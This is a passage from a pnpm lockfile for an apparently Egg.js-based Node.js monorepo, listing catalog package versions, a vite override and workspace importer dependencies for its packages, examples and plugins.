2.0.1\n    humanize-ms:\n      specifier: ^2.0.0\n      version: 2.0.0\n    husky:\n      specifier: ^9.1.7\n      version: 9.1.7\n    iconv-lite:\n      specifier: ^0.6.3\n      version: 0.6.3\n    inflection:\n      specifier: ^3.0.0\n      version: 3.0.2\n    ini:\n      specifier: ^6.0.0\n      version: 6.0.0\n    ioredis:\n      specifier: ^5.4.2\n      version: 5.8.1\n    ioredis-mock:\n      specifier: ^8.13.1\n      version: 8.13.1\n    is-type-of:\n      specifier: ^2.2.0\n      version: 2.2.0\n    jest-changed-files:\n      specifier: ^30.0.0\n      version: 30.2.0\n    js-beautify:\n      specifier: ^1.15.3\n      version: 1.15.4\n    js-yaml:\n      specifier: ^4.1.1\n      version: 4.1.1\n    jsonp-body:\n      specifier: ^2.0.0\n      version: 2.0.0\n    keygrip:\n      specifier: ^1.0.2\n      version: 1.1.0\n    koa-bodyparser:\n      specifier: ^4.4.1\n      version: 4.4.1\n    koa-compose:\n      specifier: ^4.1.0\n      version: 4.1.0\n    koa-onerror:\n      specifier: ^5.0.1\n      version: 5.0.1\n    koa-override:\n      specifier: ^4.0.0\n      version: 4.0.0\n    koa-range:\n      specifier: ^0.3.0\n      version: 0.3.0\n    koa-session:\n      specifier: ^7.0.2\n      version: 7.0.2\n    koa-static:\n      specifier: ^5.0.0\n      version: 5.0.0\n    leoric:\n      specifier: ^2.12.2\n      version: 2.13.8\n    lint-staged:\n      specifier: ^16.2.7\n      version: 16.2.7\n    lodash:\n      specifier: ^4.17.21\n      version: 4.17.21\n    lodash.snakecase:\n      specifier: ^4.1.1\n      version: 4.1.1\n    marked:\n      specifier: ^17.0.0\n      version: 17.0.0\n    matcher:\n      specifier: ^4.0.0\n      version: 4.0.0\n    merge-descriptors:\n      specifier: ^2.0.0\n      version: 2.0.0\n    methods:\n      specifier: ^1.1.2\n      version: 1.1.2\n    mm:\n      specifier: ^4.0.2\n      version: 4.0.2\n    mocha:\n      specifier: ^11.7.5\n      version: 11.7.5\n    moment:\n      specifier: ^2.30.1\n      version: 2.30.1\n    mri:\n      specifier: ^1.2.0\n      version: 1.2.0\n    multimatch:\n      specifier: ^7.0.0\n      version: 7.0.0\n    mustache:\n      specifier: ^4.2.0\n      version: 4.2.0\n    mysql2:\n      specifier: ^3.12.0\n      version: 3.15.2\n    nanoid:\n      specifier: ^5.0.0\n      version: 5.1.6\n    node-homedir:\n      specifier: ^2.0.0\n      version: 2.0.0\n    npminstall:\n      specifier: ^7.12.0\n      version: 7.12.0\n    nunjucks:\n      specifier: ^3.2.4\n      version: 3.2.4\n    nunjucks-markdown:\n      specifier: ^2.0.1\n      version: 2.0.1\n    on-finished:\n      specifier: ^2.4.1\n      version: 2.4.1\n    onelogger:\n      specifier: ^1.0.1\n      version: 1.0.1\n    oss-client:\n      specifier: ^2.5.1\n      version: 2.5.1\n    oxc-minify:\n      specifier: ^0.105.0\n      version: 0.105.0\n    oxfmt:\n      specifier: ^0.20.0\n      version: 0.20.0\n    oxlint:\n      specifier: ^1.32.0\n      version: 1.32.0\n    oxlint-tsgolint:\n      specifier: ^0.11.0\n      version: 0.11.0\n    parseurl:\n      specifier: ^1.3.3\n      version: 1.3.3\n    path-to-regexp:\n      specifier: ^6.3.0\n      version: 6.3.0\n    performance-ms:\n      specifier: ^1.1.0\n      version: 1.1.0\n    picocolors:\n      specifier: ^1.1.1\n      version: 1.1.1\n    pluralize:\n      specifier: ^8.0.0\n      version: 8.0.0\n    publint:\n      specifier: ^0.3.16\n      version: 0.3.16\n    ready-callback:\n      specifier: ^4.0.0\n      version: 4.0.0\n    reflect-metadata:\n      specifier: ^0.2.2\n      version: 0.2.2\n    rimraf:\n      specifier: ^6.1.2\n      version: 6.1.2\n    runscript:\n      specifier: ^2.0.1\n      version: 2.0.1\n    safe-timers:\n      specifier: ^1.1.0\n      version: 1.1.0\n    sdk-base:\n      specifier: ^5.0.1\n      version: 5.0.1\n    semver:\n      specifier: ^7.7.3\n      version: 7.7.3\n    sendmessage:\n      specifier: ^3.0.1\n      version: 3.0.2\n    should-send-same-site-none:\n      specifier: ^2.0.5\n      version: 2.0.5\n    source-map-support:\n      specifier: ^0.5.21\n      version: 0.5.21\n    spy:\n      specifier: ^1.0.0\n      version: 1.0.0\n    sqlstring:\n      specifier: ^2.3.3\n      version: 2.3.3\n    stack-trace:\n      specifier: ^0.0.10\n      version: 0.0.10\n    statuses:\n      specifier: ^2.0.1\n      version: 2.0.2\n    stream-wormhole:\n      specifier: ^2.0.1\n      version: 2.0.1\n    superagent:\n      specifier: ^10.0.0\n      version: 10.2.3\n    terminal-link:\n      specifier: ^5.0.0\n      version: 5.0.0\n    ts-node:\n      specifier: ^10.9.2\n      version: 10.9.2\n    tsconfig-paths:\n      specifier: ^4.2.0\n      version: 4.2.0\n    tsdown:\n      specifier: ^0.18.2\n      version: 0.18.2\n    tsx:\n      specifier: 4.20.6\n      version: 4.20.6\n    type-fest:\n      specifier: ^5.0.1\n      version: 5.1.0\n    type-is:\n      specifier: ^2.0.0\n      version: 2.0.1\n    typebox:\n      specifier: ^1.0.65\n      version: 1.0.65\n    typescript:\n      specifier: ^5.9.3\n      version: 5.9.3\n    urijs:\n      specifier: ^1.19.11\n      version: 1.19.11\n    urllib:\n      specifier: ^4.8.2\n      version: 4.8.2\n    utility:\n      specifier: ^2.5.0\n      version: 2.5.0\n    vary:\n      specifier: ^1.1.2\n      version: 1.1.2\n    vitepress:\n      specifier: 2.0.0-alpha.15\n      version: 2.0.0-alpha.15\n    vitepress-plugin-llms:\n      specifier: ^1.10.0\n      version: 1.10.0\n    vitest:\n      specifier: ^4.0.15\n      version: 4.0.15\n    xss:\n      specifier: ^1.0.15\n      version: 1.0.15\n    ylru:\n      specifier: ^2.0.0\n      version: 2.0.0\n    zod:\n      specifier: ^3.24.1\n      version: 3.25.76\n  path-to-regexp1:\n    path-to-regexp:\n      specifier: ^1.9.0\n      version: 1.9.0\n\noverrides:\n  vite: npm:rolldown-vite@^7.1.13\n\nimporters:\n\n  .:\n    devDependencies:\n      '@eggjs/bin':\n        specifier: workspace:*\n        version: link:tools/egg-bin\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:packages/tsconfig\n      '@types/js-yaml':\n        specifier: 'catalog:'\n        version: 4.0.9\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      '@typescript/native-preview':\n        specifier: 'catalog:'\n        version: 7.0.0-dev.20260117.1\n      '@vitest/coverage-v8':\n        specifier: 'catalog:'\n        version: 4.0.15(vitest@4.0.15)\n      '@vitest/ui':\n        specifier: 'catalog:'\n        version: 4.0.15(vitest@4.0.15)\n      c8:\n        specifier: 'catalog:'\n        version: 10.1.3\n      husky:\n        specifier: 'catalog:'\n        version: 9.1.7\n      js-yaml:\n        specifier: 'catalog:'\n        version: 4.1.1\n      lint-staged:\n        specifier: 'catalog:'\n        version: 16.2.7\n      mocha:\n        specifier: 'catalog:'\n        version: 11.7.5\n      oxfmt:\n        specifier: 'catalog:'\n        version: 0.20.0\n      oxlint:\n        specifier: 'catalog:'\n        version: 1.32.0(oxlint-tsgolint@0.11.0)\n      oxlint-tsgolint:\n        specifier: 'catalog:'\n        version: 0.11.0\n      publint:\n        specifier: 'catalog:'\n        version: 0.3.16\n      rimraf:\n        specifier: 'catalog:'\n        version: 6.1.2\n      semver:\n        specifier: 'catalog:'\n        version: 7.7.3\n      tsdown:\n        specifier: 'catalog:'\n        version: 0.18.2(@typescript/native-preview@7.0.0-dev.20260117.1)(oxc-resolver@11.10.0)(publint@0.3.16)(typescript@5.9.3)(unplugin-unused@0.5.4)\n      tsx:\n        specifier: 'catalog:'\n        version: 4.20.6\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n\n  examples/helloworld-commonjs:\n    dependencies:\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n    devDependencies:\n      '@eggjs/bin':\n        specifier: workspace:*\n        version: link:../../tools/egg-bin\n\n  examples/helloworld-tegg:\n    dependencies:\n      '@eggjs/scripts':\n        specifier: 'workspace:'\n        version: link:../../tools/scripts\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../plugins/tracer\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n    devDependencies:\n      '@eggjs/bin':\n        specifier: workspace:*\n        version: link:../../tools/egg-bin\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../plugins/mock\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../../packages/tsconfig\n      tsdown:\n        specifier: 'catalog:'\n        version: 0.18.2(@typescript/native-preview@7.0.0-dev.20260117.1)(oxc-resolver@11.10.0)(publint@0.3.16)(typescript@5.9.3)(unplugin-unused@0.5.4)\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n\n  examples/helloworld-typescript:\n    dependencies:\n      '@eggjs/scripts':\n        specifier: 'workspace:'\n        version: link:../../tools/scripts\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../plugins/tracer\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n    devDependencies:\n      '@eggjs/bin':\n        specifier: workspace:*\n        version: link:../../tools/egg-bin\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../plugins/mock\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../../packages/tsconfig\n      tsdown:\n        specifier: 'catalog:'\n        version: 0.18.2(@typescript/native-preview@7.0.0-dev.20260117.1)(oxc-resolver@11.10.0)(publint@0.3.16)(typescript@5.9.3)(unplugin-unused@0.5.4)\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n\n  packages/cluster:\n    dependencies:\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../utils\n      '@fengmk2/ps-tree':\n        specifier: 'catalog:'\n        version: 2.0.2\n      cfork:\n        specifier: 'catalog:'\n        version: 2.0.0\n      cluster-reload:\n        specifier: 'catalog:'\n        version: 2.0.0\n      detect-port:\n        specifier: 'catalog:'\n        version: 2.1.0\n      egg-logger:\n        specifier: 'catalog:'\n        version: 3.6.1\n      get-ready:\n        specifier: 'catalog:'\n        version: 3.4.0\n      graceful-process:\n        specifier: 'catalog:'\n        version: 2.2.0\n      sendmessage:\n        specifier: 'catalog:'\n        version: 3.0.2\n      terminal-link:\n        specifier: 'catalog:'\n        version: 5.0.0\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/errors':\n        specifier: workspace:*\n        version: link:../errors\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../plugins/mock\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../supertest\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../tsconfig\n      address:\n        specifier: 'catalog:'\n        version: 2.0.3\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      tsdown:\n        specifier: 'catalog:'\n        version: 0.18.2(@typescript/native-preview@7.0.0-dev.20260117.1)(oxc-resolver@11.10.0)(publint@0.3.16)(typescript@5.9.3)(unplugin-unused@0.5.4)\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n\n  packages/cookies:\n    dependencies:\n      should-send-same-site-none:\n        specifier: 'catalog:'\n        version: 2.0.5\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../tsconfig\n      beautify-benchmark:\n        specifier: 'catalog:'\n        version: 0.2.4\n      benchmark:\n        specifier: 'catalog:'\n        version: 2.1.4\n      cookies:\n        specifier: 'catalog:'\n        version: 0.9.1\n      keygrip:\n        specifier: 'catalog:'\n        version: 1.1.0\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  packages/core:\n    dependencies:\n      '@eggjs/extend2':\n        specifier: workspace:*\n        version: link:../extend2\n      '@eggjs/koa':\n        specifier: workspace:*\n        version: link:../koa\n      '@eggjs/path-matching':\n        specifier: workspace:*\n        version: link:../path-matching\n      '@eggjs/router':\n        specifier: workspace:*\n        version: link:../router\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../utils\n      egg-logger:\n        specifier: 'catalog:'\n        version: 3.6.1\n      get-ready:\n        specifier: 'catalog:'\n        version: 3.4.0\n      globby:\n        specifier: 'catalog:'\n        version: 11.1.0\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      node-homedir:\n        specifier: 'catalog:'\n        version: 2.0.0\n      performance-ms:\n        specifier: 'catalog:'\n        version: 1.1.0\n      ready-callback:\n        specifier: 'catalog:'\n        version: 4.0.0\n      tsconfig-paths:\n        specifier: 'catalog:'\n        version: 4.2.0\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../plugins/mock\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../supertest\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../tsconfig\n      '@types/js-yaml':\n        specifier: 'catalog:'\n        version: 4.0.9\n      await-event:\n        specifier: 'catalog:'\n        version: 2.1.0\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      gals:\n        specifier: 'catalog:'\n        version: 1.0.2\n      husky:\n        specifier: 'catalog:'\n        version: 9.1.7\n      js-yaml:\n        specifier: 'catalog:'\n        version: 4.1.1\n      mm:\n        specifier: 'catalog:'\n        version: 4.0.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n\n  packages/egg:\n    dependencies:\n      '@eggjs/ajv-plugin':\n        specifier: workspace:*\n        version: link:../../tegg/plugin/ajv\n      '@eggjs/aop-plugin':\n        specifier: workspace:*\n        version: link:../../tegg/plugin/aop\n      '@eggjs/cluster':\n        specifier: workspace:*\n        version: link:../cluster\n      '@eggjs/controller-plugin':\n        specifier: workspace:*\n        version: link:../../tegg/plugin/controller\n      '@eggjs/cookies':\n        specifier: workspace:*\n        version: link:../cookies\n      '@eggjs/core':\n        specifier: workspace:*\n        version: link:../core\n      '@eggjs/dal-plugin':\n        specifier: workspace:*\n        version: link:../../tegg/plugin/dal\n      '@eggjs/development':\n        specifier: workspace:*\n        version: link:../../plugins/development\n      '@eggjs/errors':\n        specifier: workspace:*\n        version: link:../errors\n      '@eggjs/eventbus-plugin':\n        specifier: workspace:*\n        version: link:../../tegg/plugin/eventbus\n      '@eggjs/extend2':\n        specifier: workspace:*\n        version: link:../extend2\n      '@eggjs/i18n':\n        specifier: workspace:*\n        version: link:../../plugins/i18n\n      '@eggjs/jsonp':\n        specifier: workspace:*\n        version: link:../../plugins/jsonp\n      '@eggjs/logrotator':\n        specifier: workspace:*\n        version: link:../../plugins/logrotator\n      '@eggjs/multipart':\n        specifier: workspace:*\n        version: link:../../plugins/multipart\n      '@eggjs/onerror':\n        specifier: workspace:*\n        version: link:../../plugins/onerror\n      '@eggjs/orm-plugin':\n        specifier: workspace:*\n        version: link:../../tegg/plugin/orm\n      '@eggjs/schedule':\n        specifier: workspace:*\n        version: link:../../plugins/schedule\n      '@eggjs/schedule-plugin':\n        specifier: workspace:*\n        version: link:../../tegg/plugin/schedule\n      '@eggjs/security':\n        specifier: workspace:*\n        version: link:../../plugins/security\n      '@eggjs/session':\n        specifier: workspace:*\n        version: link:../../plugins/session\n      '@eggjs/static':\n        specifier: workspace:*\n        version: link:../../plugins/static\n      '@eggjs/tegg':\n        specifier: workspace:*\n        version: link:../../tegg/core/tegg\n      '@eggjs/tegg-config':\n        specifier: workspace:*\n        version: link:../../tegg/plugin/config\n      '@eggjs/tegg-plugin':\n        specifier: workspace:*\n        version: link:../../tegg/plugin/tegg\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../utils\n      '@eggjs/view':\n        specifier: workspace:*\n        version: link:../../plugins/view\n      '@eggjs/watcher':\n        specifier: workspace:*\n        version: link:../../plugins/watcher\n      circular-json-for-egg:\n        specifier: 'catalog:'\n        version: 1.0.0\n      cluster-client:\n        specifier: 'catalog:'\n        version: 3.7.0\n      egg-logger:\n        specifier: 'catalog:'\n        version: 3.6.1\n      graceful:\n        specifier: 'catalog:'\n        version: 2.0.0\n      humanize-ms:\n        specifier: 'catalog:'\n        version: 2.0.0\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      koa-bodyparser:\n        specifier: 'catalog:'\n        version: 4.4.1\n      koa-override:\n        specifier: 'catalog:'\n        version: 4.0.0\n      onelogger:\n        specifier: 'catalog:'\n        version: 1.0.1\n      performance-ms:\n        specifier: 'catalog:'\n        version: 1.1.0\n      sendmessage:\n        specifier: 'catalog:'\n        version: 3.0.2\n      type-fest:\n        specifier: 'catalog:'\n        version: 5.1.0\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/koa':\n        specifier: workspace:*\n        version: link:../koa\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../../plugins/mock\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../supertest\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../../plugins/tracer\n      '@types/koa-bodyparser':\n        specifier: 'catalog:'\n        version: 4.3.12\n      address:\n        specifier: 'catalog:'\n        version: 2.0.3\n      assert-file:\n        specifier: 'catalog:'\n        version: 1.0.0\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      egg-plugin-puml:\n        specifier: 'catalog:'\n        version: 2.4.0\n      egg-view-nunjucks:\n        specifier: 'catalog:'\n        version: 2.3.0(chokidar@3.6.0)\n      formstream:\n        specifier: 'catalog:'\n        version: 1.5.2\n      koa-static:\n        specifier: 'catalog:'\n        version: 5.0.0\n      mm:\n        specifier: 'catalog:'\n        version: 4.0.2\n      runscript:\n        specifier: 'catalog:'\n        version: 2.0.1\n      sdk-base:\n        specifier: 'catalog:'\n        version: 5.0.1\n      spy:\n        specifier: 'catalog:'\n        version: 1.0.0\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  packages/errors:\n    devDependencies:\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../tsconfig\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  packages/extend2:\n    devDependencies:\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../tsconfig\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  packages/koa:\n    dependencies:\n      '@eggjs/cookies':\n        specifier: workspace:*\n        version: link:../cookies\n      '@types/content-disposition':\n        specifier: 'catalog:'\n        version: 0.5.9\n      accepts:\n        specifier: 'catalog:'\n        version: 1.3.8\n      cache-content-type:\n        specifier: 'catalog:'\n        version: 2.1.0\n      content-disposition:\n        specifier: 'catalog:'\n        version: 1.0.1\n      content-type:\n        specifier: 'catalog:'\n        version: 1.0.5\n      destroy:\n        specifier: 'catalog:'\n        version: 1.2.0\n      encodeurl:\n        specifier: 'catalog:'\n        version: 2.0.0\n      escape-html:\n        specifier: 'catalog:'\n        version: 1.0.3\n      fresh:\n        specifier: 'catalog:'\n        version: 0.5.2\n      gals:\n        specifier: 'catalog:'\n        version: 1.0.2\n      http-errors:\n        specifier: 'catalog:'\n        version: 2.0.1\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      koa-compose:\n        specifier: 'catalog:'\n        version: 4.1.0\n      on-finished:\n        specifier: 'catalog:'\n        version: 2.4.1\n      parseurl:\n        specifier: 'catalog:'\n        version: 1.3.3\n      statuses:\n        specifier: 'catalog:'\n        version: 2.0.2\n      type-is:\n        specifier: 'catalog:'\n        version: 2.0.1\n      vary:\n        specifier: 'catalog:'\n        version: 1.1.2\n    devDependencies:\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../supertest\n      '@types/accepts':\n        specifier: 'catalog:'\n        version: 1.3.7\n      '@types/content-type':\n        specifier: 'catalog:'\n        version: 1.1.9\n      '@types/destroy':\n        specifier: 'catalog:'\n        version: 1.0.3\n      '@types/encodeurl':\n        specifier: 'catalog:'\n        version: 1.0.3\n      '@types/escape-html':\n        specifier: 'catalog:'\n        version: 1.0.4\n      '@types/fresh':\n        specifier: 'catalog:'\n        version: 0.5.3\n      '@types/http-errors':\n        specifier: 'catalog:'\n        version: 2.0.5\n      '@types/koa-compose':\n        specifier: 'catalog:'\n        version: 3.2.8\n      '@types/on-finished':\n        specifier: 'catalog:'\n        version: 2.3.5\n      '@types/parseurl':\n        specifier: 'catalog:'\n        version: 1.3.3\n      '@types/statuses':\n        specifier: 'catalog:'\n        version: 2.0.6\n      '@types/type-is':\n        specifier: 'catalog:'\n        version: 1.6.7\n      '@types/vary':\n        specifier: 'catalog:'\n        version: 1.1.3\n      mm:\n        specifier: 'catalog:'\n        version: 4.0.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  packages/koa-static-cache:\n    dependencies:\n      '@eggjs/compressible':\n        specifier: ^3.0.0\n        version: 3.0.0\n      fs-readdir-recursive:\n        specifier: ^1.1.0\n        version: 1.1.0\n      mime-types:\n        specifier: ^3.0.0\n        version: 3.0.2\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/koa':\n        specifier: workspace:*\n        version: link:../koa\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../supertest\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../tsconfig\n      '@types/fs-readdir-recursive':\n        specifier: 'catalog:'\n        version: 1.1.3\n      '@types/mime-types':\n        specifier: 'catalog:'\n        version: 3.0.1\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      ylru:\n        specifier: ^2.0.0\n        version: 2.0.0\n\n  packages/logger:\n    dependencies:\n      '@eggjs/errors':\n        specifier: workspace:*\n        version: link:../errors\n      chalk:\n        specifier: 'catalog:'\n        version: 5.6.2\n      circular-json-for-egg:\n        specifier: 'catalog:'\n        version: 1.0.0\n      iconv-lite:\n        specifier: 'catalog:'\n        version: 0.6.3\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/koa':\n        specifier: workspace:*\n        version: link:../koa\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../supertest\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../tsconfig\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      mm:\n        specifier: 'catalog:'\n        version: 4.0.2\n      oxlint:\n        specifier: 'catalog:'\n        version: 1.32.0(oxlint-tsgolint@0.11.0)\n      rimraf:\n        specifier: 'catalog:'\n        version: 6.1.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n\n  packages/path-matching:\n    dependencies:\n      path-to-regexp:\n        specifier: 'catalog:'\n        version: 6.3.0\n    devDependencies:\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../tsconfig\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      path-to-regexp-v8:\n        specifier: npm:path-to-regexp@^8.3.0\n        version: path-to-regexp@8.3.0\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  packages/router:\n    dependencies:\n      http-errors:\n        specifier: 'catalog:'\n        version: 2.0.1\n      inflection:\n        specifier: 'catalog:'\n        version: 3.0.2\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      koa-compose:\n        specifier: 'catalog:'\n        version: 4.1.0\n      methods:\n        specifier: 'catalog:'\n        version: 1.1.2\n      path-to-regexp:\n        specifier: catalog:path-to-regexp1\n        version: 1.9.0\n      urijs:\n        specifier: 'catalog:'\n        version: 1.19.11\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/koa':\n        specifier: workspace:*\n        version: link:../koa\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../supertest\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../tsconfig\n      '@types/http-errors':\n        specifier: 'catalog:'\n        version: 2.0.5\n      '@types/koa-compose':\n        specifier: 'catalog:'\n        version: 3.2.8\n      '@types/methods':\n        specifier: 'catalog:'\n        version: 1.1.4\n      '@types/urijs':\n        specifier: 'catalog:'\n        version: 1.19.25\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  packages/skills: {}\n\n  packages/supertest:\n    dependencies:\n      '@types/superagent':\n        specifier: 'catalog:'\n        version: 8.1.9\n      superagent:\n        specifier: 'catalog:'\n        version: 10.2.3\n    devDependencies:\n      '@types/body-parser':\n        specifier: 'catalog:'\n        version: 1.19.6\n      '@types/cookie-parser':\n        specifier: 'catalog:'\n        version: 1.4.9(@types/express@5.0.3)\n      '@types/express':\n        specifier: 'catalog:'\n        version: 5.0.3\n      body-parser:\n        specifier: 'catalog:'\n        version: 2.2.2\n      cookie-parser:\n        specifier: 'catalog:'\n        version: 1.4.7\n      express:\n        specifier: 'catalog:'\n        version: 4.21.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  packages/tsconfig:\n    devDependencies:\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  packages/utils:\n    devDependencies:\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      mm:\n        specifier: 'catalog:'\n        version: 4.0.2\n      runscript:\n        specifier: 'catalog:'\n        version: 2.0.1\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/development:\n    dependencies:\n      debounce:\n        specifier: 'catalog:'\n        version: 3.0.0\n      multimatch:\n        specifier: 'catalog:'\n        version: 7.0.0\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../../packages/supertest\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/i18n:\n    dependencies:\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../packages/utils\n      humanize-ms:\n        specifier: 'catalog:'\n        version: 2.0.0\n      ini:\n        specifier: 'catalog:'\n        version: 6.0.0\n      js-yaml:\n        specifier: 'catalog:'\n        version: 4.1.1\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@types/ini':\n        specifier: 'catalog:'\n        version: 4.1.1\n      '@types/js-yaml':\n        specifier: 'catalog:'\n        version: 4.0.9\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      egg-view-nunjucks:\n        specifier: 'catalog:'\n        version: 2.3.0(chokidar@3.6.0)\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/jsonp:\n    dependencies:\n      jsonp-body:\n        specifier: 'catalog:'\n        version: 2.0.0\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/logrotator:\n    dependencies:\n      moment:\n        specifier: 'catalog:'\n        version: 2.30.1\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/schedule':\n        specifier: workspace:*\n        version: link:../schedule\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      egg-logger:\n        specifier: 'catalog:'\n        version: 3.6.1\n      glob:\n        specifier: 'catalog:'\n        version: 11.0.3\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/mock:\n    